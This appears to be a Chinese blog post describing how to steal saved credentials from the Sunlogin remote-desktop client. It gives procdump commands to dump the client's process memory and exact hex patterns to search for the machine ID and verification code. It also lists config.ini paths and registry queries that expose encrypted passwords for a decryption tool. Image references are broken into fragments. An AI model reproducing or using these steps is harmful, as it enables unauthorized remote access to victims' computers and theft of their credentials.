向日葵密码抓取（综合）

向日葵新版密码抓取，必须dump内存，十六进制查找，新版不存在配置文件中，后续会将其他工具的最新手法也同步到博客中来，嗯等我有空的话。。

最新版本-内存查找

首先找到向日葵用户进程，然后使用procdump等工具转储进程内存。

1 2	tasklist /v \| findstr /i sunlogin procdump64.exe -accepteula -ma 进程号

使用Winhex打开转储文件，按下Ctrl+Alt+X快捷键打开十六进制值搜索功能，搜索十六进制值66617374636F646522203A20226b，即可找到本机识别码。

jpg %}1.png %}

搜索十六进制值000000000000003C6620663D79616865692E626F6C642E323420633D 636F6C6F725F65646974203E，使用F3快捷键可以跳到下一个匹配处，多跳2次即可找到本机验证码。

jpg %}2.png %}

1 2	安装版：C:\Program Files\Oray\SunLogin\SunloginClient\config.ini 便携版：C:\ProgramData\Oray\SunloginClient\config.ini

![解密](3.png %}

jpg %}4.png %}

在向日葵v11.1.2.38529中，强化了加密机制，删除了配置文件config.ini中的fastcode（本机识别码）字段和encry_pwd(本机验证码)字段，而将这些敏感信息放到了注册表中，我们可以通过注册表查询使用Sunflower_get_Password[5]工具即可解密。

1 2	reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo